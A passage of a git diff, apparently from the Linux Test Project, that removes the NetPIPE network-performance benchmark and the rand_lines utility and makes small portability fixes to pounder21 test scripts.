-	double ut_var, st_var;	/* Variance in user & system time            */
-#endif
-
-#ifdef MPI
-	MPI_Init(&argc, &argv);
-#endif
-
-	strcpy(s, "NetPIPE.out");
-#ifndef MPI
-	if (argc < 2)
-		PrintUsage();
-#endif
-
-	/* Parse the arguments. See Usage for description */
-	while ((c = getopt(argc, argv, "Pstrh:p:o:A:O:l:u:i:b:a")) != -1) {
-		switch (c) {
-		case 'o':
-			strcpy(s, optarg);
-			break;
-
-		case 't':
-			trans = 1;
-			break;
-
-		case 'r':
-			trans = 0;
-			break;
-
-		case 's':
-			streamopt = 1;
-			break;
-
-		case 'l':	/*detailflag = 1; */
-			start = atoi(optarg);
-			if (start < 1) {
-				fprintf(stderr, "Need a starting value >= 1\n");
-				exit(743);
-			}
-			break;
-
-		case 'u':	/*detailflag = 1; */
-			end = atoi(optarg);
-			break;
-
-		case 'i':
-			detailflag = 1;
-			inc = atoi(optarg);
-			break;
-
-		case 'b':
-			bufszflag = 1;
-#ifdef TCP
-			args.prot.rcvbufsz = atoi(optarg);
-			args.prot.sndbufsz = args.prot.rcvbufsz;
-#endif
-			break;
-
-		case 'P':
-			printopt = 1;
-			break;
-
-		case 'A':
-			bufalign = atoi(optarg);
-			break;
-
-		case 'O':
-			bufoffset = atoi(optarg);
-			break;
-
-		case 'p':
-			port = atoi(optarg);
-			break;
-
-		case 'h':
-			if (trans == 1) {
-				args.host = (char *)malloc(strlen(optarg) + 1);
-				strcpy(args.host, optarg);
-			} else {
-				fprintf(stderr,
-					"Error: -t must be specified before -h\n");
-				exit(-11);
-			}
-			break;
-
-		case 'a':
-			asyncReceive = 1;
-			break;
-
-		default:
-			PrintUsage();
-			exit(-12);
-		}
-	}
-	if (start > end) {
-		fprintf(stderr, "Start MUST be LESS than end\n");
-		exit(420132);
-	}
-#if defined(TCP) || defined(PVM)
-	/*
-	   It should be explicitly specified whether this is the transmitter
-	   or the receiver.
-	 */
-	if (trans < 0) {
-		fprintf(stderr, "Error: either -t or -r must be specified\n");
-		exit(-11);
-	}
-#endif
-
-	args.nbuff = TRIALS;
-	args.tr = trans;
-	args.port = port;
-
-#if defined(TCP)
-	if (!bufszflag) {
-		args.prot.sndbufsz = 0;
-		args.prot.rcvbufsz = 0;
-	} else
-		fprintf(stderr, "Send and Recv Buffers are %d bytes\n",
-			args.prot.sndbufsz);
-#endif
-
-	Setup(&args);
-	Establish(&args);
-
-	if (args.tr) {
-		if ((out = fopen(s, "w")) == NULL) {
-			fprintf(stderr, "Can't open %s for output\n", s);
-			exit(1);
-		}
-	} else
-		out = stdout;
-
-	args.bufflen = 1;
-	args.buff = (char *)malloc(args.bufflen);
-	args.buff1 = (char *)malloc(args.bufflen);
-	if (asyncReceive)
-		PrepareToReceive(&args);
-	Sync(&args);
-	t0 = When();
-	t0 = When();
-	t0 = When();
-#ifdef HAVE_GETRUSAGE
-	getrusage(RUSAGE_SELF, &prev_rusage);
-#endif
-	t0 = When();
-	for (i = 0; i < LATENCYREPS; i++) {
-		if (args.tr) {
-			SendData(&args);
-			RecvData(&args);
-			if (asyncReceive && (i < LATENCYREPS - 1)) {
-				PrepareToReceive(&args);
-			}
-		} else {
-			RecvData(&args);
-			if (asyncReceive && (i < LATENCYREPS - 1)) {
-				PrepareToReceive(&args);
-			}
-			SendData(&args);
-		}
-	}
-	latency = (When() - t0) / (2 * LATENCYREPS);
-#ifdef HAVE_GETRUSAGE
-	getrusage(RUSAGE_SELF, &curr_rusage);
-#endif
-	free(args.buff);
-	free(args.buff1);
-
-	if (args.tr) {
-		SendTime(&args, &latency);
-	} else {
-		RecvTime(&args, &latency);
-	}
-	if (args.tr && printopt) {
-		fprintf(stderr, "Latency: %.7f\n", latency);
-		fprintf(stderr, "Now starting main loop\n");
-	}
-	tlast = latency;
-	if (inc == 0) {
-		/* Set a starting value for the message size increment. */
-		inc = (start > 1) ? start / 2 : 1;
-	}
-
-	/* Main loop of benchmark */
-	for (nq = n = 0, len = start, errFlag = 0;
-	     n < NSAMP - 3 && tlast < STOPTM && len <= end && !errFlag;
-	     len = len + inc, nq++) {
-		if (nq > 2 && !detailflag) {
-			/*
-			   This has the effect of exponentially increasing the block
-			   size.  If detailflag is false, then the block size is
-			   linearly increased (the increment is not adjusted).
-			 */
-			inc = ((nq % 2)) ? inc + inc : inc;
-		}
-
-		/* This is a perturbation loop to test nearby values */
-		for (pert = (!detailflag && inc > PERT + 1) ? -PERT : 0;
-		     pert <= PERT;
-		     n++, pert += (!detailflag
-				   && inc > PERT + 1) ? PERT : PERT + 1) {
-
-			/* Calculate how many times to repeat the experiment. */
-			if (args.tr) {
-				nrepeat = MAX((RUNTM / ((double)args.bufflen /
-							(args.bufflen - inc +
-							 1.0) * tlast)),
-					      TRIALS);
-				SendRepeat(&args, nrepeat);
-			} else {
-				RecvRepeat(&args, &nrepeat);
-			}
-
-			/* Allocate the buffer */
-			args.bufflen = len + pert;
-			if ((args.buff =
-			     (char *)malloc(args.bufflen + bufalign)) ==
-			    (char *)NULL) {
-				fprintf(stderr, "Couldn't allocate memory\n");
-				errFlag = -1;
-				break;
-			}
-			if ((args.buff1 =
-			     (char *)malloc(args.bufflen + bufalign)) ==
-			    (char *)NULL) {
-				fprintf(stderr, "Couldn't allocate memory\n");
-				errFlag = -1;
-				break;
-			}
-			/*
-			   Possibly align the data buffer: make memtmp and memtmp1
-			   point to the original blocks (so they can be freed later),
-			   then adjust args.buff and args.buff1 if the user requested it.
-			 */
-			memtmp = args.buff;
-			memtmp1 = args.buff1;
-			if (bufalign != 0)
-				args.buff += (bufalign -
-					      ((int)(*args.buff) % bufalign) +
-					      bufoffset) % bufalign;
-
-			if (bufalign != 0)
-				args.buff1 += (bufalign -
-					       ((int)(*args.buff1) % bufalign) +
-					       bufoffset) % bufalign;
-
-			if (args.tr && printopt)
-				fprintf(stderr, "%3d: %9d bytes %4d times --> ",
-					n, args.bufflen, nrepeat);
-
-			/* Finally, we get to transmit or receive and time */
-			if (args.tr) {
-				/*
-				   This is the transmitter: send the block TRIALS times, and
-				   if we are not streaming, expect the receiver to return each
-				   block.
-				 */
-				bwdata[n].t = LONGTIME;
-				t2 = t1 = 0;
-#ifdef HAVE_GETRUSAGE
-				ut1 = ut2 = st1 = st2 = 0.0;
-				best_user_time = best_sys_time = LONGTIME;
-#endif
-				for (i = 0; i < TRIALS; i++) {
-					Sync(&args);
-#ifdef HAVE_GETRUSAGE
-					getrusage(RUSAGE_SELF, &prev_rusage);
-#endif
-					t0 = When();
-					for (j = 0; j < nrepeat; j++) {
-						if (asyncReceive && !streamopt) {
-							PrepareToReceive(&args);
-						}
-						SendData(&args);
-						if (!streamopt) {
-							RecvData(&args);
-						}
-					}
-					t = (When() -
-					     t0) / ((1 + !streamopt) * nrepeat);
-#ifdef HAVE_GETRUSAGE
-					getrusage(RUSAGE_SELF, &curr_rusage);
-					user_time =
-					    ((curr_rusage.ru_utime.tv_sec -
-					      prev_rusage.ru_utime.tv_sec) +
-					     (double)
-					     (curr_rusage.ru_utime.tv_usec -
-					      prev_rusage.ru_utime.tv_usec) *
-					     1.0E-6) / ((1 +
-							 !streamopt) * nrepeat);
-					sys_time =
-					    ((curr_rusage.ru_stime.tv_sec -
-					      prev_rusage.ru_stime.tv_sec) +
-					     (double)
-					     (curr_rusage.ru_stime.tv_usec -
-					      prev_rusage.ru_stime.tv_usec) *
-					     1.0E-6) / ((1 +
-							 !streamopt) * nrepeat);
-					ut2 += user_time * user_time;
-					st2 += sys_time * sys_time;
-					ut1 += user_time;
-					st1 += sys_time;
-					if ((user_time + sys_time) <
-					    (best_user_time + best_sys_time)) {
-						best_user_time = user_time;
-						best_sys_time = sys_time;
-					}
-#endif
-
-					if (!streamopt) {
-						t2 += t * t;
-						t1 += t;
-						bwdata[n].t =
-						    MIN(bwdata[n].t, t);
-					}
-				}
-				if (!streamopt)
-					SendTime(&args, &bwdata[n].t);
-				else
-					RecvTime(&args, &bwdata[n].t);
-
-				if (!streamopt)
-					bwdata[n].variance =
-					    t2 / TRIALS -
-					    t1 / TRIALS * t1 / TRIALS;
-
-#ifdef HAVE_GETRUSAGE
-				ut_var =
-				    ut2 / TRIALS -
-				    (ut1 / TRIALS) * (ut1 / TRIALS);
-				st_var =
-				    st2 / TRIALS -
-				    (st1 / TRIALS) * (st1 / TRIALS);
-#endif
-
-			} else {
-				/*
-				   This is the receiver: receive the block TRIALS times, and
-				   if we are not streaming, send the block back to the
-				   sender.
-				 */
-				bwdata[n].t = LONGTIME;
-				t2 = t1 = 0;
-				for (i = 0; i < TRIALS; i++) {
-					if (asyncReceive) {
-						PrepareToReceive(&args);
-					}
-					Sync(&args);
-					t0 = When();
-					for (j = 0; j < nrepeat; j++) {
-						RecvData(&args);
-						if (asyncReceive
-						    && (j < nrepeat - 1)) {
-							PrepareToReceive(&args);
-						}
-						if (!streamopt)
-							SendData(&args);
-					}
-					t = (When() -
-					     t0) / ((1 + !streamopt) * nrepeat);
-
-					if (streamopt) {
-						t2 += t * t;
-						t1 += t;
-						bwdata[n].t =
-						    MIN(bwdata[n].t, t);
-					}
-				}
-				if (streamopt)
-					SendTime(&args, &bwdata[n].t);
-				else
-					RecvTime(&args, &bwdata[n].t);
-
-				if (streamopt)
-					bwdata[n].variance =
-					    t2 / TRIALS -
-					    t1 / TRIALS * t1 / TRIALS;
-
-			}
-			tlast = bwdata[n].t;
-			bwdata[n].bits = args.bufflen * CHARSIZE;
-			bwdata[n].bps =
-			    bwdata[n].bits / (bwdata[n].t * 1024 * 1024);
-			bwdata[n].repeat = nrepeat;
-
-			if (args.tr) {
-				fprintf(out, "%.7f %.7f %d %d %.7f",
-					bwdata[n].t, bwdata[n].bps,
-					bwdata[n].bits, bwdata[n].bits / 8,
-					bwdata[n].variance);
-#ifdef HAVE_GETRUSAGE
-				fprintf(out, " %.7f %.7f %.7f %.7f",
-					ut1 / (double)TRIALS,
-					st1 / (double)TRIALS, ut_var, st_var);
-#endif
-				fprintf(out, "\n");
-			}
-			fflush(out);
-
-			free(memtmp);
-			free(memtmp1);
-
-			if (args.tr && printopt) {
-				fprintf(stderr, " %6.2f Mbps in %.7f sec",
-					bwdata[n].bps, tlast);
-#ifdef HAVE_GETRUSAGE
-				fprintf(stderr,
-					", avg utime=%.7f avg stime=%.7f, ",
-					ut1 / (double)TRIALS,
-					st1 / (double)TRIALS);
-				fprintf(stderr, "min utime=%.7f stime=%.7f, ",
-					best_user_time, best_sys_time);
-				fprintf(stderr, "utime var=%.7f stime var=%.7f",
-					ut_var, st_var);
-#endif
-				fprintf(stderr, "\n");
-			}
-		}		/* End of perturbation loop */
-
-	}			/* End of main loop  */
-
-	if (args.tr)
-		fclose(out);
-
-	CleanUp(&args);
-	return (0);
-}
-
-/* Return the current time in seconds, using a double precision number.      */
-double When()
-{
-	struct timeval tp;
-	gettimeofday(&tp, NULL);
-	return ((double)tp.tv_sec + (double)tp.tv_usec * 1e-6);
-}
-
-void PrintUsage(void)
-{
-	printf("\n NETPIPE USAGE \n\n");
-	printf("A: specify buffers alignment e.g.: <-A 1024>\n");
-	printf("a: asynchronous receive (a.k.a. preposted receive)\n");
-#if defined(TCP)
-	printf("b: specify send and receive buffer sizes e.g. <-b 32768>\n");
-	printf("h: specify hostname <-h host>\n");
-#endif
-	printf("i: specify increment step size e.g. <-i 64>\n");
-	printf("l: lower bound start value e.g. <-i 1>\n");
-	printf("O: specify buffer offset e.g. <-O 127>\n");
-	printf("o: specify output filename <-o fn>\n");
-	printf("P: print on screen\n");
-#if defined(TCP)
-	printf("p: specify port e.g. <-p 5150>\n");
-#endif
-	printf("r: receiver\n");
-	printf("s: stream option\n");
-	printf("t: transmitter\n");
-	printf("u: upper bound stop value e.g. <-u 1048576>\n");
-	printf("\n");
-	exit(-12);
-}
diff --git a/tools/netpipe-2.4/netpipe.h b/tools/netpipe-2.4/netpipe.h
deleted file mode 100644
index 6e72cd2..0000000
--- a/tools/netpipe-2.4/netpipe.h
+++ /dev/null
@@ -1,108 +0,0 @@
-/*****************************************************************************/
-/* "NetPIPE" -- Network Protocol Independent Performance Evaluator.          */
-/* Copyright 1997, 1998 Iowa State University Research Foundation, Inc.      */
-/*                                                                           */
-/* This program is free software; you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by      */
-/* the Free Software Foundation.  You should have received a copy of the     */
-/* GNU General Public License along with this program; if not, write to the  */
-/* Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.   */
-/*                                                                           */
-/*     * netpipe.h          ---- General include file                        */
-/*****************************************************************************/
-
-#include <ctype.h>
-#include <errno.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>         /* malloc(3) */
-#include <string.h>
-#include <sys/types.h>
-#include <sys/time.h>       /* struct timeval */
-#ifdef HAVE_GETRUSAGE
-#include <sys/resource.h>
-#endif
-#include <unistd.h>
-
-
-#define  DEFPORT            5002
-#define  TRIALS             7
-#define  NSAMP              8000
-#define  PERT               3
-#define  LATENCYREPS        100
-#define  LONGTIME           1e99
-#define  CHARSIZE           8
-#define  RUNTM              0.25
-#define  STOPTM             1.0
-#define  MAXINT             2147483647
-
-#define     ABS(x)     (((x) < 0)?(-(x)):(x))
-#define     MIN(x,y)   (((x) < (y))?(x):(y))
-#define     MAX(x,y)   (((x) > (y))?(x):(y))
-
-/* Need to include the protocol structure header file.                       */
-/* Change this to reflect the protocol                                       */
-#if defined(TCP)
-#include "TCP.h"
-#elif defined(MPI)
-#include "MPI.h"
-#elif defined(PVM)
-#include "PVM.h"
-#else
-#error "One of TCP, MPI, or PVM must be defined during compilation"
-#endif
-
-
-typedef struct argstruct ArgStruct;
-struct argstruct
-{
-    /* This is the common information that is needed for all tests           */
-    char     *host;         /* Name of receiving host                        */
-    int      servicefd,     /* File descriptor of the network socket         */
-             commfd;        /* Communication file descriptor                 */
-    short    port;          /* Port used for connection                      */
-    char     *buff;         /* Transmitted buffer                            */
-    char     *buff1;        /* Transmitted buffer                            */
-    int      bufflen,       /* Length of transmitted buffer                  */
-             tr,            /* Transmit flag                                 */
-             nbuff;         /* Number of buffers to transmit                 */
-
-    /* Now we work with a union of information for protocol dependent stuff  */
-    ProtocolStruct prot;    /* Structure holding necessary info for TCP      */
-};
-
-typedef struct data Data;
-struct data
-{
-    double t;
-    double bps;
-    double variance;
-    int    bits;
-    int    repeat;
-};
-
-double When();
-
-void PrintUsage(void);
-
-int Setup(ArgStruct *p);
-
-void Sync(ArgStruct *p);
-
-void PrepareToReceive(ArgStruct *p);
-
-void SendData(ArgStruct *p);
-
-void RecvData(ArgStruct *p);
-
-void SendTime(ArgStruct *p, double *t);
-
-void RecvTime(ArgStruct *p, double *t);
-
-void SendRepeat(ArgStruct *p, int rpt);
-
-void RecvRepeat(ArgStruct *p, int *rpt);
-
-int Establish(ArgStruct *p);
-
-int  CleanUp(ArgStruct *p);
diff --git a/tools/netpipe-2.4/netpipe.sh b/tools/netpipe-2.4/netpipe.sh
deleted file mode 100644
index f1445a3..0000000
--- a/tools/netpipe-2.4/netpipe.sh
+++ /dev/null
@@ -1,32 +0,0 @@
-#!/bin/sh
-
-#    Copyright (c) International Business Machines  Corp., 2003
-#
-#    This program is free software;  you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#    the GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License
-#    along with this program;  if not, write to the Free Software
-#    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-
-#   FILE        : netpipe.sh
-#   DESCRIPTION : a simple infinite loop of NPtcp for use in runalltests.sh
-#   HISTORY     :
-#       02/05/2003 Robbie Williamson (robbiew@austin.ibm.com)
-#               written
-
-while [ 1 ]
-do
-	NPtcp -sar >/dev/null 2>/dev/null &
-	NPtcp -sth localhost >/dev/null 2>/dev/null
-	sleep 1
-done
-
-
diff --git a/tools/pounder21/src/randasyscall/randasys.c b/tools/pounder21/src/randasyscall/randasys.c
index 19bd08f..14cbb5a 100644
--- a/tools/pounder21/src/randasyscall/randasys.c
+++ b/tools/pounder21/src/randasyscall/randasys.c
@@ -29,7 +29,7 @@
 #include <errno.h>
 #include <string.h>
 #include <stdio.h>
-#include <syscall.h>
+#include <sys/syscall.h>
 #include <stdint.h>
 #include <stdlib.h>
 
diff --git a/tools/pounder21/test_scripts/statslogging b/tools/pounder21/test_scripts/statslogging
index 5185054..f1774ec 100755
--- a/tools/pounder21/test_scripts/statslogging
+++ b/tools/pounder21/test_scripts/statslogging
@@ -38,13 +38,13 @@
 #generic system info
 function sysinfo() {
 	uname -a >> $INFOFILE
-	echo -e "\n[cpuinfo]=================" >>$INFOFILE
+	printf "\n[cpuinfo]=================\n" >>$INFOFILE
 	cat /proc/cpuinfo >> $INFOFILE
-	echo -e "\n[meminfo]=================" >>$INFOFILE
+	printf "\n[meminfo]=================\n" >>$INFOFILE
 	cat /proc/meminfo >> $INFOFILE
-	echo -e "\n[ifinfo]=================" >>$INFOFILE
+	printf "\n[ifinfo]=================\n" >>$INFOFILE
 	/sbin/ifconfig >> $INFOFILE
-	echo -e "\n[sysctl]=================" >>$INFOFILE
+	printf "\n[sysctl]=================\n" >>$INFOFILE
 	sysctl -a >> $INFOFILE
 }
 
@@ -55,7 +55,7 @@
 	for i in $PROC_ENTRIES
 	do
 		logfile=`basename $i`
-		echo -e "\n$NOW" >> $logfile.log
+		printf "\n$NOW\n" >> $logfile.log
 		cat /proc/$i >> $logfile.log
 		sleep 1
 	done
@@ -73,7 +73,7 @@
 	while true; do
 		vmstat $DELAY $COUNT >> vmstat.log
 		NOW=`date`
-		echo -e "\n$NOW\n" >> vmstat.log
+		printf "\n$NOW\n\n" >> vmstat.log
 	done &
 
 	IOSTAT=`which iostat 2> /dev/null`
@@ -81,7 +81,7 @@
 		while true; do
 			iostat -x $DELAY $COUNT >> iostat.log
 			NOW=`date`
-			echo -e "\n$NOW\n" >> iostat.log
+			printf "\n$NOW\n\n" >> iostat.log
 		done &
 	fi
 }
diff --git a/tools/rand_lines.c b/tools/rand_lines.c
deleted file mode 100644
index 9d86ed7..0000000
--- a/tools/rand_lines.c
+++ /dev/null
@@ -1,543 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: rand_lines.c,v 1.5 2002/09/16 15:02:57 nstraz Exp $ */
-/**************************************************************
- *
- *    OS Testing - Silicon Graphics, Inc.
- *
- *    TOOL IDENTIFIER   : rand_lines
- *
- *    DESCRIPTION       : prints lines from a file in random order
- *
- *    SYNOPSIS:
- *      rand_line [-hg][-S seed][-l numlines] [files...]
- *
- *    AUTHOR            : Richard Logan
- *
- *    CO-PILOT(s)       :
- *
- *    DATE STARTED      : 05/94
- *
- *    INPUT SPECIFICATIONS
- *     This tool will print lines of a file in random order.
- *     The max line length is 4096.
- *     The options supported are:
- *       -h     This option prints an help message then exits.
- *
- *       -g     This option specifies to count the number of lines
- *		in the file before randomizing.  This option overrides
- *		-l option.  Using this option, will give you the best
- *		randomization, but it requires processing
- *		the file an additional time.
- *
- *       -l numlines : This option specifies to randomize file in
- *		numlines chucks.  The default size is 4096.
- *
- *       -S seed     : sets randomization seed to seed.
- *		The default is time(0).  If seed is zero, time(0) is used.
- *
- *	 file   A readable, seekable filename.  The cmd allows the user
- *	 	to specify multiple files, but each file is dealt with
- *		separately.
- *
- *    DESIGN DESCRIPTION
- *	This tool uses a simple algorithm where the file is read.
- *	The offset to the each line is randomly placed into an
- *	array.  The array is then processed sequentially.  The infile's
- *	line who's offset in the array element is thus reread then printed.
- *	This output will thus be infile's lines in random order.
- *
- *    SPECIAL REQUIREMENTS
- *	None.
- *
- *    UPDATE HISTORY
- *      This should contain the description, author, and date of any
- *      "interesting" modifications (i.e. info should helpful in
- *      maintaining/enhancing this tool).
- *      username     description
- *      ----------------------------------------------------------------
- *	rrl 	    Creatation of program
- *	rrl  06/02  Fixed bug and some cleanup. Changed default chunk
- *	            and line size to 4096 characters.
- *
- *    BUGS/LIMITATIONS
- *	This program can not deal with non-seekable file like
- *	stdin or a pipe.  If more than one file is specified,
- *	each file is randomized one at a time.  The max line
- *	length is 4096 characters.
- *
- **************************************************************/
-
-#include <err.h>
-#include <errno.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <time.h>
-#include <unistd.h>
-
-#include "random_range.h"
-
-/*
- * Structure used to hold file line offset.
- */
-struct offset_t {
-	long used;
-	long offset;
-};
-
-void usage(FILE * stream);
-void help(void);
-int rnd_file(FILE * infile, int numlines, long seed);
-int get_numlines(FILE * infile);
-int rnd_insert(struct offset_t offsets[], long offset, int size);
-
-#define DEF_SIZE	4096	/* default chunk size */
-#define MAX_LN_SZ	4096	/* max line size */
-
-#ifndef SEEK_SET
-#define SEEK_SET	0
-#endif
-
-char *Progname = NULL;
-
-/***********************************************************************
- *  MAIN
- ***********************************************************************/
-int main(int argc, char *argv[])
-{
-	FILE *infile;
-	int c;
-	long seed = -1;		/* use time as seed */
-	int lsize = DEF_SIZE;	/* num lines to randomize */
-	int getfilelines = 0;	/* if set, count lines first */
-
-	if ((Progname = strrchr(argv[0], '/')) == NULL)
-		Progname = argv[0];
-	else
-		Progname++;
-
-	while ((c = getopt(argc, argv, "hgS:l:")) != EOF) {
-		switch (c) {
-		case 'h':
-			help();
-			exit(0);
-			break;
-		case 'S':	/* seed */
-			if (sscanf(optarg, "%li", &seed) != 1) {
-				fprintf(stderr,
-					"%s: --S option argument is invalid\n",
-					Progname);
-				exit(1);
-			}
-			break;
-
-		case 'l':	/* number of lines */
-			if (sscanf(optarg, "%i", &lsize) != 1) {
-				fprintf(stderr,
-					"%s: --s option argument is invalid\n",
-					Progname);
-				exit(1);
-			}
-			break;
-
-		case 'g':
-			getfilelines++;
-			break;
-
-		case '?':
-			usage(stderr);
-			exit(1);
-			break;
-		}
-	}
-
-	if (optind + 1 != argc) {
-		fprintf(stderr, "%s: Missing argument.\n", Progname);
-		usage(stderr);
-		exit(1);
-	}
-
-	if (seed == -1) {
-		seed = time(0);
-	}
-
-	if (strcmp(argv[argc - 1], "-") == 0) {
-		infile = stdin;
-		fprintf(stderr, "%s: Can not support stdin processing.\n",
-			Progname);
-		exit(2);
-	} else {
-
-		if ((infile = fopen(argv[argc - 1], "r")) == NULL) {
-			fprintf(stderr, "%s: Unable to open file %s: %s\n",
-				Progname, argv[argc - 1], strerror(errno));
-			exit(1);
-		}
-
-		if (getfilelines) {
-			lsize = get_numlines(infile);
-		}
-
-		rnd_file(infile, lsize, seed);
-	}
-
-	exit(0);
-}
-
-/***********************************************************************
- * Print usage message to stream.
- ***********************************************************************/
-void usage(FILE * stream)
-{
-	fprintf(stream,
-		"Usage %s [-hg][-S seed][-l numlines] [files...]\n", Progname);
-
-}
-
-/***********************************************************************
- * Print help message to stdout.
- ***********************************************************************/
-void help(void)
-{
-	usage(stdout);
-	printf("This tool will print lines in random order (max line len %d).\n\
-  -h          : print this help and exit\n\
-  -g          : count the number of lines in the file before randomizing\n\
-	        This option overrides -l option.\n\
-  -l numlines : randoms lines in numlines chuncks (def %d)\n\
-  -S seed     : sets seed to seed (def time(0))\n", MAX_LN_SZ, DEF_SIZE);
-
-}
-
-/***********************************************************************
- * counts the number of lines in already open file.
- * Note: File must be seekable (not stdin or a pipe).
- ***********************************************************************/
-int get_numlines(FILE *infile)
-{
-	char line[MAX_LN_SZ];	/* max size of a line */
-	int cnt = 0;
-
-	while (fgets(line, MAX_LN_SZ, infile) != NULL) {
-		cnt++;
-	}
-
-	/* rewind the file */
-	fseek(infile, 0, SEEK_SET);
-
-	return cnt;
-}
-
-/***********************************************************************
- *
- *  infile must be a fseekable file.  Thus, it can not be stdin.
- * It will read each line in the file, randomly saving the offset
- * of each line in a array of struct offset_t.
- * It will then print each line in the array stored order.
- *
- ***********************************************************************/
-int rnd_file(FILE *infile,
-	int numlines,	/* can be more or less than num lines in file */
-			/* most opt randomized when num lines in files */
-			/* or just a bit bigger */
-	long seed)
-{
-
-	char line[MAX_LN_SZ];	/* max size of a line */
-	int cnt;
-	long coffset;		/* current line offset */
-
-	struct offset_t *offsets;
-	int memsize;
-
-	if (numlines <= 0) {	/*use default */
-		numlines = DEF_SIZE;
-	}
-
-	/*
-	 * Malloc space for numlines copies the offset_t structure.
-	 * This is where the randomization takes place.
-	 */
-	memsize = sizeof(struct offset_t) * numlines;
-
-	if ((offsets = (struct offset_t *)malloc(memsize)) == NULL) {
-		fprintf(stderr, "Unable to malloc(%d): errno:%d\n", memsize,
-			errno);
-		return -1;
-	}
-
-	random_range_seed(seed);
-
-	coffset = 0;
-
-	while (!feof(infile)) {
-
-		fseek(infile, coffset, SEEK_SET);
-		coffset = ftell(infile);
-		memset(offsets, 0, memsize);
-		cnt = 0;
-
-		/*
-		 * read the file in and place offset of each line randomly
-		 * into offsets array.  Only numlines line can be randomized
-		 * at a time.
-		 */
-		while (cnt < numlines && fgets(line, MAX_LN_SZ, infile) != NULL) {
-
-			if (rnd_insert(offsets, coffset, numlines) < 0) {
-				fprintf(stderr,
-					"%s:%d rnd_insert() returned -1 (fatal error)!\n",
-					__FILE__, __LINE__);
-				abort();
-			}
-			cnt++;
-
-			coffset = ftell(infile);
-		}
-
-		if (cnt == 0) {
-			continue;
-		}
-
-		/*
-		 * print out lines based on offset.
-		 */
-		for (cnt = 0; cnt < numlines; cnt++) {
-
-			if (offsets[cnt].used) {
-				fseek(infile, offsets[cnt].offset, SEEK_SET);
-				if (fgets(line, MAX_LN_SZ, infile) == NULL)
-					err(1, "fgets");
-				fputs(line, stdout);
-			}
-		}
-
-	}			/* end of file */
-
-	return 0;
-}
-
-/***********************************************************************
- * This function randomly inserts offset information into
- * the offsets array.  The array has a size of size.
- * It will attempt 75 random array indexes before finding the first
- * open array element.
- *
- ***********************************************************************/
-int rnd_insert(struct offset_t offsets[], long offset, int size)
-{
-	int rand_num;
-	int quick = 0;
-	int ind;
-
-	/*
-	 * Loop looking for random unused index.
-	 * It will only be attempted 75 times.
-	 */
-	while (quick < 75) {
-
-		rand_num = random_range(0, size - 1, 1, NULL);
-
-		if (!offsets[rand_num].used) {
-			offsets[rand_num].offset = offset;
-			offsets[rand_num].used++;
-			return rand_num;
-		}
-		quick++;
-	}
-
-	/*
-	 * an randomly choosen index was not found, find
-	 * first open index and use it.
-	 */
-	for (ind = 0; ind < size && offsets[ind].used != 0; ind++) ;	/* do nothing */
-
-	if (ind >= size) {
-		/*
-		 * If called with an array where all offsets are used,
-		 * we won't be able to find an open array location.
-		 * Thus, return -1 indicating the error.
-		 * This should never happen if called correctly.
-		 */
-		return -1;
-	}
-
-	offsets[ind].offset = offset;
-	offsets[ind].used++;
-	return ind;
-
-}
-
-/***********************************************************************
- *
- * CODE NOT TESTED AT ALL - it must be tested before it is used.
- *
- * This function was written to allow rand_lines to work on non-seekable
- * file (i.e stdin).
- *
- ***********************************************************************/
-int rnd_stdin(FILE *infile,
-	int space,	/* amount of space to use to read file into memory, */
-			/* randomized and print.  randomize in chunks */
-	int numlines,	/* can be more or less than num lines in file */
-			/* most opt randomized when num lines in files */
-			/* or just a bit bigger */
-	long seed)
-{
-
-	char line[MAX_LN_SZ];	/* max size of a line */
-	int cnt;		/* offset printer counter */
-	long loffset;		/* last line address */
-	char *buffer;		/* malloc space for file reads */
-	char *rdbuff;		/* where to start read */
-	long stopaddr;		/* end of read space (address) */
-	int rdsz;		/* amount read */
-	int sztord;
-	char *chr;		/* buffer processing pointer */
-	char *ptr;		/* printing processing pointer */
-	char *lptr;		/* printing processing pointer */
-	int loopcntl = 1;	/* main loop control flag */
-	struct offset_t *offsets;	/* pointer to offset space */
-	int memsize;		/* amount of offset space to malloc */
-	int newbuffer = 1;	/* need new buffer */
-
-	if (numlines <= 0) {	/*use default */
-		numlines = DEF_SIZE;
-	}
-
-	/*
-	 * Malloc space for file contents
-	 */
-	if ((buffer = (char *)malloc(space)) == NULL) {
-		fprintf(stderr, "Unable to malloc(%d): errno:%d\n", space,
-			errno);
-		return -1;
-	}
-
-	/*
-	 * Malloc space for numlines copies the offset_t structure.
-	 * This is where the randomization takes place.
-	 */
-	memsize = sizeof(struct offset_t) * numlines;
-
-	if ((offsets = (struct offset_t *)malloc(memsize)) == NULL) {
-		fprintf(stderr, "Unable to malloc(%d): errno:%d\n", memsize,
-			errno);
-		return -1;
-	}
-
-	random_range_seed(seed);
-	rdbuff = buffer;	/* read into start of buffer */
